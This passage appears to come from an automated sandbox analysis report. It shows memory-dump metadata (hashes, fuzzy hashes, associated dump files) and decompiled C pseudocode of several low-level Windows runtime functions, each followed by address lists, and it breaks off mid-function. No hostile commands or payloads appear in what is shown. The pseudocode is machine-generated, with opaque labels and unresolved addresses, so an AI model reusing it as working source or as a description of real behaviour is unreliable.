0x046a4d7c
0x00000000
0x046a4d74
0x046604d6
0x046a4de1
0x046604dc
0x046604dc
0x046604dc
0x046604e4
0x046a4deb
0x046a4df1
0x046a4df8
0x046a4dfe
0x046a4e03
0x046a4e05
0x046a4e17
0x046a4e07
0x046a4e10
0x046a4e10
0x046a4e1c
0x046a4e1f
0x046a4e35
0x046a4e35
0x046a4e1f
0x046a4df8
0x046604f1
0x046604fa
0x046a4e3f
0x046a4e47
0x046a4e5b
0x046a4e61
0x046a4e67
0x046a4e69
0x046a4e71
0x046a4e73
0x04660500
0x04660500
0x04660500
0x046604fa
0x04660508
0x0466051d
0x0466051d
0x0466051f
0x04660524
0x00000000
0x04660524
0x04660515
0x04660517
0x046a4e7a
0x046a4e7c
0x00000000
0x00000000
0x046a4e85
0x00000000
0x046a4e85
0x00000000
0x04660517

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a077dfb135c94542c757a21f759dba83ef572c27fdba4314792ad2d38579c030
Instruction ID: a3a746251ddfc9766646b6fb22a20d369f59367445637f02be7835f635c665f4
Opcode Fuzzy Hash: a077dfb135c94542c757a21f759dba83ef572c27fdba4314792ad2d38579c030
Instruction Fuzzy Hash: 89910431E00614AFEB31DA68CD44BAD7BA4EB01718F150276E912A73D1FBB4BD50CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0463C600, Relevance: .2, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0463C600(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				char _v1036;
				signed int _v1040;
				char _v1048;
				signed int _v1052;
				signed char _v1056;
				void* _v1058;
				char _v1060;
				signed int _v1064;
				void* _v1068;
				intOrPtr _v1072;
				void* _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t70;
				intOrPtr _t72;
				signed int _t74;
				intOrPtr _t77;
				signed int _t78;
				signed int _t81;
				void* _t101;
				signed int _t102;
				signed int _t107;
				signed int _t109;
				signed int _t110;
				signed char _t111;
				signed int _t112;
				signed int _t113;
				signed int _t114;
				intOrPtr _t116;
				void* _t117;
				char _t118;
				void* _t120;
				char _t121;
				signed int _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x472d360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E04646D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E0467B640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					__eflags = _t107;
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t72 =  *0x4727b9c; // 0x0
					_t74 = L04654620(_t107, _t107, _t72 + 0x180000, _t121);
					_v1064 = _t74;
					__eflags = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1060);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1048);
					_push(_t116);
					_t122 = E04679650();
					__eflags = _t122;
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						__eflags = _t114;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *(_t102 + 4);
							__eflags = _t109 - 3;
							if(_t109 == 3) {
								L55:
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									L59:
									_t122 = 0xc0000024;
									L15:
									_t78 = _v1052;
									__eflags = _t78;
									if(_t78 != 0) {
										L046577F0( *( *[fs:0x30] + 0x18), 0, _t78);
									}
									_t68 = _t122;
									goto L4;
								}
								_t110 = _v1056;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1060 = _t118;
								__eflags = _t110;
								if(_t110 == 0) {
									L10:
									_t122 = 0x80000005;
									L11:
									_t81 = _v1040;
									__eflags = _t81;
									if(_t81 == 0) {
										goto L15;
									}
									__eflags = _t122;
									if(_t122 >= 0) {
										L14:
										 *_t81 = _t118;
										goto L15;
									}
									__eflags = _t122 - 0x80000005;
									if(_t122 != 0x80000005) {
										goto L15;
									}
									goto L14;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t77;
								if( *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								}
								_push( *((intOrPtr*)(_t102 + 8)));
								_t59 = _t102 + 0xc; // 0xc
								_push(_t110);
								L54:
								E0467F3E0();
								_t125 = _t125 + 0xc;
								goto L11;
							}
							__eflags = _t109 - 7;
							if(_t109 == 7) {
								goto L55;
							}
							_t118 = 4;
							__eflags = _t109 - _t118;
							if(_t109 != _t118) {
								__eflags = _t109 - 0xb;
								if(_t109 != 0xb) {
									__eflags = _t109 - 1;
									if(_t109 == 1) {
										__eflags = _t114 - _t118;
										if(_t114 != _t118) {
											_t118 =  *((intOrPtr*)(_t102 + 8));
											_v1060 = _t118;
											__eflags = _t118 - _t77;
											if(_t118 > _t77) {
												goto L10;
											}
											_push(_t118);
											_t56 = _t102 + 0xc; // 0xc
											_push(_v1056);
											goto L54;
										}
										__eflags = _t77 - _t118;
										if(_t77 != _t118) {
											L34:
											_t122 = 0xc0000004;
											goto L15;
										}
										_t111 = _v1056;
										__eflags = _t111 & 0x00000003;
										if((_t111 & 0x00000003) == 0) {
											_v1060 = _t118;
											__eflags = _t111;
											if(__eflags == 0) {
												goto L10;
											}
											_t42 = _t102 + 0xc; // 0xc
											 *((intOrPtr*)(_t125 + 0x20)) = _t42;
											_v1048 =  *((intOrPtr*)(_t102 + 8));
											_push(_t111);
											 *((short*)(_t125 + 0x22)) =  *((intOrPtr*)(_t102 + 8));
											_push(0);
											_push( &_v1048);
											_t122 = E046713C0(_t102, _t118, _t122, __eflags);
											L44:
											_t118 = _v1072;
											goto L11;
										}
										_t122 = 0x80000002;
										goto L15;
									}
									_t122 = 0xc0000024;
									goto L44;
								}
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									goto L59;
								}
								_t118 = 8;
								__eflags = _t77 - _t118;
								if(_t77 != _t118) {
									goto L34;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
								if( *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								}
								_t112 = _v1056;
								_v1060 = _t118;
								__eflags = _t112;
								if(_t112 == 0) {
									goto L10;
								}
								 *_t112 =  *((intOrPtr*)(_t102 + 0xc));
								 *((intOrPtr*)(_t112 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
								goto L11;
							}
							__eflags = _t114 - _t118;
							if(_t114 != _t118) {
								goto L59;
							}
							__eflags = _t77 - _t118;
							if(_t77 != _t118) {
								goto L34;
							}
							__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
							if( *((intOrPtr*)(_t102 + 8)) != _t118) {
								goto L34;
							}
							_t113 = _v1056;
							_v1060 = _t118;
							__eflags = _t113;
							if(_t113 == 0) {
								goto L10;
							}
							 *_t113 =  *((intOrPtr*)(_t102 + 0xc));
							goto L11;
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						__eflags = _t118 - _a20;
						if(_t118 <= _a20) {
							_t114 =  *(_t102 + 4);
							_t77 = _t118;
							goto L26;
						}
						_v1060 = _t118;
						goto L10;
					}
					__eflags = _t122 - 0x80000005;
					if(_t122 != 0x80000005) {
						goto L15;
					}
					L046577F0( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1060;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E04679650();
				if(_t122 >= 0) {
					__eflags = 0;
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x0463c608
0x0463c615
0x0463c625
0x0463c62d
0x0463c635
0x0463c640
0x0463c680
0x0463c687
0x0463c688
0x0463c689
0x0463c694
0x0463c694
0x0463c642
0x0463c64a
0x0463c697
0x046a7a25
0x046a7a2b
0x046a7a2e
0x046a7a30
0x046a7bea
0x046a7bea
0x00000000
0x046a7bea
0x046a7a36
0x046a7a43
0x046a7a48
0x046a7a4c
0x046a7a4e
0x00000000
0x00000000
0x046a7a58
0x046a7a5a
0x046a7a5b
0x046a7a5c
0x046a7a5d
0x046a7a63
0x046a7a64
0x046a7a6a
0x046a7a6c
0x046a7a6e
0x046a79cb
0x046a79cb
0x046a79ce
0x046a79d0
0x046a7a98
0x046a7a9b
0x046a7a9b
0x046a7a9e
0x046a7aa1
0x046a7bbe
0x046a7bbe
0x046a7bc0
0x046a7be0
0x046a7be0
0x046a7a01
0x046a7a01
0x046a7a05
0x046a7a07
0x046a7a15
0x046a7a15
0x046a7a1a
0x00000000
0x046a7a1a
0x046a7bc2
0x046a7bc6
0x046a7bc9
0x046a7bcd
0x046a7bcf
0x046a79e6
0x046a79e6
0x046a79eb
0x046a79eb
0x046a79ef
0x046a79f1
0x00000000
0x00000000
0x046a79f3
0x046a79f5
0x046a79ff
0x046a79ff
0x00000000
0x046a79ff
0x046a79f7
0x046a79fd
0x00000000
0x00000000
0x00000000
0x046a79fd
0x046a7bd5
0x046a7bd8
0x00000000
0x00000000
0x046a7ba9
0x046a7bac
0x046a7bb0
0x046a7bb1
0x046a7bb1
0x046a7bb6
0x00000000
0x046a7bb6
0x046a7aa7
0x046a7aaa
0x00000000
0x00000000
0x046a7ab2
0x046a7ab3
0x046a7ab5
0x046a7aec
0x046a7aef
0x046a7b25
0x046a7b28
0x046a7b62
0x046a7b64
0x046a7b8f
0x046a7b92
0x046a7b96
0x046a7b98
0x00000000
0x00000000
0x046a7b9e
0x046a7b9f
0x046a7ba3
0x00000000
0x046a7ba3
0x046a7b66
0x046a7b68
0x046a7ae2
0x046a7ae2
0x00000000
0x046a7ae2
0x046a7b6e
0x046a7b72
0x046a7b75
0x046a7b81
0x046a7b85
0x046a7b87
0x00000000
0x00000000
0x046a7b31
0x046a7b34
0x046a7b3c
0x046a7b45
0x046a7b46
0x046a7b4f
0x046a7b51
0x046a7b57
0x046a7b59
0x046a7b59
0x00000000
0x046a7b59
0x046a7b77
0x00000000
0x046a7b77
0x046a7b2a
0x00000000
0x046a7b2a
0x046a7af1
0x046a7af3
0x00000000
0x00000000
0x046a7afb
0x046a7afc
0x046a7afe
0x00000000
0x00000000
0x046a7b00
0x046a7b03
0x00000000
0x00000000
0x046a7b05
0x046a7b09
0x046a7b0d
0x046a7b0f
0x00000000
0x00000000
0x046a7b18
0x046a7b1d
0x00000000
0x046a7b1d
0x046a7ab7
0x046a7ab9
0x00000000
0x00000000
0x046a7abf
0x046a7ac1
0x00000000
0x00000000
0x046a7ac3
0x046a7ac6
0x00000000
0x00000000
0x046a7ac8
0x046a7acc
0x046a7ad0
0x046a7ad2
0x00000000
0x00000000
0x046a7adb
0x00000000
0x046a7adb
0x046a79d6
0x046a79d9
0x046a79dc
0x046a7a91
0x046a7a94
0x00000000
0x046a7a94
0x046a79e2
0x00000000
0x046a79e2
0x046a7a74
0x046a7a7a
0x00000000
0x00000000
0x046a7a8a
0x046a7a21
0x046a7a21
0x00000000
0x046a7a21
0x0463c650
0x0463c651
0x0463c656
0x0463c65c
0x0463c65d
0x0463c663
0x0463c664
0x0463c66a
0x0463c66e
0x046a79c5
0x046a79c7
0x00000000
0x046a79c7
0x0463c67a
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b121c9d18ed1501d9b49aa7d917a531a9088a2f18e9c0efef48dacbfffbd41d1
Instruction ID: 8c66843f50282475f91a19c18f296699a1b773831c6ff66dceaf35fa99e940bf
Opcode Fuzzy Hash: b121c9d18ed1501d9b49aa7d917a531a9088a2f18e9c0efef48dacbfffbd41d1
Instruction Fuzzy Hash: B3818BB6604B059FDB25CE14C880A6AB3A8FB95356F14486EEE459B340F330FD55CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 046B6DC9, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E046B6DC9(signed int __ecx, void* __edx) {
				unsigned int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				void* _t87;
				void* _t95;
				signed char* _t96;
				signed int _t107;
				signed int _t136;
				signed char* _t137;
				void* _t157;
				void* _t161;
				void* _t167;
				intOrPtr _t168;
				void* _t174;
				void* _t175;
				signed int _t176;
				void* _t177;

				_t136 = __ecx;
				_v44 = 0;
				_t167 = __edx;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v60 = 0;
				_v56 = 0;
				_v52 = 0;
				_v48 = 0;
				_v16 = __ecx;
				_t87 = L04654620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0x248);
				_t175 = _t87;
				if(_t175 != 0) {
					_t11 = _t175 + 0x30; // 0x30
					 *((short*)(_t175 + 6)) = 0x14d4;
					 *((intOrPtr*)(_t175 + 0x20)) =  *((intOrPtr*)(_t167 + 0x10));
					 *((intOrPtr*)(_t175 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t167 + 8)) + 0xc));
					 *((intOrPtr*)(_t175 + 0x28)) = _t136;
					 *((intOrPtr*)(_t175 + 0x2c)) =  *((intOrPtr*)(_t167 + 0x14));
					E046B6B4C(_t167, _t11, 0x214,  &_v8);
					_v12 = _v8 + 0x10;
					_t95 = E04657D50();
					_t137 = 0x7ffe0384;
					if(_t95 == 0) {
						_t96 = 0x7ffe0384;
					} else {
						_t96 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t175);
					_push(_v12);
					_push(0x402);
					_push( *_t96 & 0x000000ff);
					E04679AE0();
					_t87 = L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t175);
					_t176 = _v16;
					if((_t176 & 0x00000100) != 0) {
						_push( &_v36);
						_t157 = 4;
						_t87 = E046B795D( *((intOrPtr*)(_t167 + 8)), _t157);
						if(_t87 >= 0) {
							_v24 = E046B795D( *((intOrPtr*)(_t167 + 8)), 1,  &_v44);
							_v28 = E046B795D( *((intOrPtr*)(_t167 + 8)), 0,  &_v60);
							_push( &_v52);
							_t161 = 5;
							_t168 = E046B795D( *((intOrPtr*)(_t167 + 8)), _t161);
							_v20 = _t168;
							_t107 = L04654620( *[fs:0x30],  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xca0);
							_v16 = _t107;
							if(_t107 != 0) {
								_v8 = _v8 & 0x00000000;
								 *(_t107 + 0x20) = _t176;
								 *((short*)(_t107 + 6)) = 0x14d5;
								_t47 = _t107 + 0x24; // 0x24
								_t177 = _t47;
								E046B6B4C( &_v36, _t177, 0xc78,  &_v8);
								_t51 = _v8 + 4; // 0x4
								_t178 = _t177 + (_v8 >> 1) * 2;
								_v12 = _t51;
								E046B6B4C( &_v44, _t177 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_v12 = _v12 + _v8;
								E046B6B4C( &_v60, _t178 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_t125 = _v8;
								_v12 = _v12 + _v8;
								E046B6B4C( &_v52, _t178 + (_v8 >> 1) * 2 + (_v8 >> 1) * 2, 0xc78 - _v8 - _v8 - _t125,  &_v8);
								_t174 = _v12 + _v8;
								if(E04657D50() != 0) {
									_t137 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
								}
								_push(_v16);
								_push(_t174);
								_push(0x402);
								_push( *_t137 & 0x000000ff);
								E04679AE0();
								L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v16);
								_t168 = _v20;
							}
							_t87 = L04652400( &_v36);
							if(_v24 >= 0) {
								_t87 = L04652400( &_v44);
							}
							if(_t168 >= 0) {
								_t87 = L04652400( &_v52);
							}
							if(_v28 >= 0) {
								return L04652400( &_v60);
							}
						}
					}
				}
				return _t87;
			}

0x046b6dd4
0x046b6dde
0x046b6de1
0x046b6de3
0x046b6de6
0x046b6de9
0x046b6dec
0x046b6def
0x046b6df2
0x046b6df5
0x046b6dfe
0x046b6e04
0x046b6e09
0x046b6e0d
0x046b6e18
0x046b6e1b
0x046b6e22
0x046b6e2d
0x046b6e30
0x046b6e36
0x046b6e42
0x046b6e4d
0x046b6e50
0x046b6e55
0x046b6e5c
0x046b6e6e
0x046b6e5e
0x046b6e67
0x046b6e67
0x046b6e73
0x046b6e74
0x046b6e77
0x046b6e7c
0x046b6e7d
0x046b6e8e
0x046b6e93
0x046b6e9c
0x046b6ea8
0x046b6eab
0x046b6eac
0x046b6eb3
0x046b6ecd
0x046b6edc
0x046b6ee2
0x046b6ee5
0x046b6ef2
0x046b6efb
0x046b6f01
0x046b6f06
0x046b6f0b
0x046b6f11
0x046b6f1a
0x046b6f22
0x046b6f26
0x046b6f26
0x046b6f33
0x046b6f41
0x046b6f44
0x046b6f47
0x046b6f54
0x046b6f65
0x046b6f77
0x046b6f7c
0x046b6f82
0x046b6f91
0x046b6f99
0x046b6fa3
0x046b6fae
0x046b6fae
0x046b6fba
0x046b6fbb
0x046b6fbc
0x046b6fc1
0x046b6fc2
0x046b6fd3
0x046b6fd8
0x046b6fd8
0x046b6fdf
0x046b6fe8
0x046b6fee
0x046b6fee
0x046b6ff5
0x046b6ffb
0x046b6ffb
0x046b7004
0x00000000
0x046b700a
0x046b7004
0x046b6eb3
0x046b6e9c
0x046b7015

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction ID: e5e7ff4d1ddebc65294237ac47c181c68aab308f1ec9534b4165b23f031628d9
Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction Fuzzy Hash: AD717D71A00609EFDB10DFA4C984EEEBBB9FF88714F104169E945E7250EB30BA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 046CB8D0, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E046CB8D0(void* __edx, intOrPtr _a4, intOrPtr _a8, signed char _a12, signed int** _a16) {
				char _v8;
				signed int _v12;
				signed int _t80;
				signed int _t83;
				intOrPtr _t89;
				signed int _t92;
				signed char _t106;
				signed int* _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t119;
				void* _t122;
				signed int _t123;
				signed int* _t124;

				_t106 = _a12;
				if((_t106 & 0xfffffffc) != 0) {
					return 0xc000000d;
				}
				if((_t106 & 0x00000002) != 0) {
					_t106 = _t106 | 0x00000001;
				}
				_t109 =  *0x4727b9c; // 0x0
				_t124 = L04654620(_t109 + 0x140000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109 + 0x140000, 0x424 + (_a8 - 1) * 0xc);
				if(_t124 != 0) {
					 *_t124 =  *_t124 & 0x00000000;
					_t124[1] = _t124[1] & 0x00000000;
					_t124[4] = _t124[4] & 0x00000000;
					if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) == 0) {
						L13:
						_push(_t124);
						if((_t106 & 0x00000002) != 0) {
							_push(0x200);
							_push(0x28);
							_push(0xffffffff);
							_t122 = E04679800();
							if(_t122 < 0) {
								L33:
								if((_t124[4] & 0x00000001) != 0) {
									_push(4);
									_t64 =  &(_t124[1]); // 0x4
									_t107 = _t64;
									_push(_t107);
									_push(5);
									_push(0xfffffffe);
									E046795B0();
									if( *_t107 != 0) {
										_push( *_t107);
										E046795D0();
									}
								}
								_push(_t124);
								_push(0);
								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
								L37:
								L046577F0();
								return _t122;
							}
							_t124[4] = _t124[4] | 0x00000002;
							L18:
							_t108 = _a8;
							_t29 =  &(_t124[0x105]); // 0x414
							_t80 = _t29;
							_t30 =  &(_t124[5]); // 0x14
							_t124[3] = _t80;
							_t123 = 0;
							_t124[2] = _t30;
							 *_t80 = _t108;
							if(_t108 == 0) {
								L21:
								_t112 = 0x400;
								_push( &_v8);
								_v8 = 0x400;
								_push(_t124[2]);
								_push(0x400);
								_push(_t124[3]);
								_push(0);
								_push( *_t124);
								_t122 = E04679910();
								if(_t122 != 0xc0000023) {
									L26:
									if(_t122 != 0x106) {
										L40:
										if(_t122 < 0) {
											L29:
											_t83 = _t124[2];
											if(_t83 != 0) {
												_t59 =  &(_t124[5]); // 0x14
												if(_t83 != _t59) {
													L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t83);
												}
											}
											_push( *_t124);
											E046795D0();
											goto L33;
										}
										 *_a16 = _t124;
										return 0;
									}
									if(_t108 != 1) {
										_t122 = 0;
										goto L40;
									}
									_t122 = 0xc0000061;
									goto L29;
								} else {
									goto L22;
								}
								while(1) {
									L22:
									_t89 =  *0x4727b9c; // 0x0
									_t92 = L04654620(_t112,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t89 + 0x140000, _v8);
									_t124[2] = _t92;
									if(_t92 == 0) {
										break;
									}
									_t112 =  &_v8;
									_push( &_v8);
									_push(_t92);
									_push(_v8);
									_push(_t124[3]);
									_push(0);
									_push( *_t124);
									_t122 = E04679910();
									if(_t122 != 0xc0000023) {
										goto L26;
									}
									L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t124[2]);
								}
								_t122 = 0xc0000017;
								goto L26;
							}
							_t119 = 0;
							do {
								_t114 = _t124[3];
								_t119 = _t119 + 0xc;
								 *((intOrPtr*)(_t114 + _t119 - 8)) =  *((intOrPtr*)(_a4 + _t123 * 4));
								 *(_t114 + _t119 - 4) =  *(_t114 + _t119 - 4) & 0x00000000;
								_t123 = _t123 + 1;
								 *((intOrPtr*)(_t124[3] + _t119)) = 2;
							} while (_t123 < _t108);
							goto L21;
						}
						_push(0x28);
						_push(3);
						_t122 = E0463A7B0();
						if(_t122 < 0) {
							goto L33;
						}
						_t124[4] = _t124[4] | 0x00000001;
						goto L18;
					}
					if((_t106 & 0x00000001) == 0) {
						_t115 = 0x28;
						_t122 = E046CE7D3(_t115, _t124);
						if(_t122 < 0) {
							L9:
							_push(_t124);
							_push(0);
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							goto L37;
						}
						L12:
						if( *_t124 != 0) {
							goto L18;
						}
						goto L13;
					}
					_t15 =  &(_t124[1]); // 0x4
					_t117 = 4;
					_t122 = E046CE7D3(_t117, _t15);
					if(_t122 >= 0) {
						_t124[4] = _t124[4] | 0x00000001;
						_v12 = _v12 & 0x00000000;
						_push(4);
						_push( &_v12);
						_push(5);
						_push(0xfffffffe);
						E046795B0();
						goto L12;
					}
					goto L9;
				} else {
					return 0xc0000017;
				}
			}

0x046cb8d9
0x046cb8e4
0x00000000
0x046cb8e6
0x046cb8f3
0x046cb8f5
0x046cb8f5
0x046cb8f8
0x046cb920
0x046cb924
0x046cb936
0x046cb939
0x046cb93d
0x046cb948
0x046cb9a0
0x046cb9a0
0x046cb9a4
0x046cb9bf
0x046cb9c4
0x046cb9c6
0x046cb9cd
0x046cb9d1
0x046cbad4
0x046cbad8
0x046cbada
0x046cbadc
0x046cbadc
0x046cbadf
0x046cbae0
0x046cbae2
0x046cbae4
0x046cbaec
0x046cbaee
0x046cbaf0
0x046cbaf0
0x046cbaec
0x046cbafb
0x046cbafc
0x046cbafe
0x046cbb01
0x046cbb01
0x00000000
0x046cbb06
0x046cb9d7
0x046cb9db
0x046cb9db
0x046cb9de
0x046cb9de
0x046cb9e4
0x046cb9e7
0x046cb9ea
0x046cb9ec
0x046cb9ef
0x046cb9f3
0x046cba1b
0x046cba1b
0x046cba23
0x046cba24
0x046cba27
0x046cba2a
0x046cba2b
0x046cba2e
0x046cba30
0x046cba37
0x046cba3f
0x046cba9c
0x046cbaa2
0x046cbb13
0x046cbb15
0x046cbaae
0x046cbaae
0x046cbab3
0x046cbab5
0x046cbaba
0x046cbac8
0x046cbac8
0x046cbaba
0x046cbacd
0x046cbacf
0x00000000
0x046cbacf
0x046cbb1a
0x00000000
0x046cbb1c
0x046cbaa7
0x046cbb11
0x00000000
0x046cbb11
0x046cbaa9
0x00000000
0x00000000
0x00000000
0x00000000
0x046cba41
0x046cba41
0x046cba41
0x046cba58
0x046cba5d
0x046cba62
0x00000000
0x00000000
0x046cba64
0x046cba67
0x046cba68
0x046cba69
0x046cba6c
0x046cba6f
0x046cba71
0x046cba78
0x046cba80
0x00000000
0x00000000
0x046cba90
0x046cba90
0x046cba97
0x00000000
0x046cba97
0x046cb9f5
0x046cb9f7
0x046cb9f7
0x046cb9fa
0x046cba03
0x046cba07
0x046cba0c
0x046cba10
0x046cba17
0x00000000
0x046cb9f7
0x046cb9a6
0x046cb9a8
0x046cb9af
0x046cb9b3
0x00000000
0x00000000
0x046cb9b9
0x00000000
0x046cb9b9
0x046cb94d
0x046cb98f
0x046cb995
0x046cb999
0x046cb960
0x046cb967
0x046cb968
0x046cb96a
0x00000000
0x046cb96a
0x046cb99b
0x046cb99e
0x00000000
0x00000000
0x00000000
0x046cb99e
0x046cb951
0x046cb954
0x046cb95a
0x046cb95e
0x046cb972
0x046cb979
0x046cb97d
0x046cb97f
0x046cb980
0x046cb982
0x046cb984
0x00000000
0x046cb984
0x00000000
0x046cb926
0x00000000
0x046cb926

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ebe705fff0e194c74bbeb6200cd21875f22d54c062c0eeefa6f9b46c3b48401
Instruction ID: 6859a0ca758ddf008405883b6c3dd15f24966d396dbd09551ce0c4b9880f215e
Opcode Fuzzy Hash: 6ebe705fff0e194c74bbeb6200cd21875f22d54c062c0eeefa6f9b46c3b48401
Instruction Fuzzy Hash: 23710C72240701AFE7318F64E842F66BBF5EB40B24F24452CE6958B2A0FB75F945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 046352A5, Relevance: .2, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E046352A5(char __ecx) {
				char _v20;
				char _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v64;
				void* __ebx;
				intOrPtr* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				intOrPtr* _t102;
				intOrPtr* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					E0464EEF0(0x47279a0);
					_t104 =  *0x4728210; // 0xa61cc8
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					_t2 = _t104 + 8; // 0x28000000
					 *((intOrPtr*)(_t108 + 0x18)) =  *_t2;
					E0464EB70(_t93, 0x47279a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_t10 = _t104 + 4; // 0x0
							_push( *_t10);
							_t53 = E04679890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									E0464EEF0(0x47279a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E0464EB70(0, 0x47279a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t11 = _t104 + 0xe; // 0xa61ce002
								_t13 = _t104 + 0xc; // 0xa61cd5
								_t93 = _t13;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E0466F0BF(_t13,  *_t11 & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									E0464EEF0(0x47279a0);
									__eflags =  *0x4728210 - _t104; // 0xa61cc8
									if(__eflags == 0) {
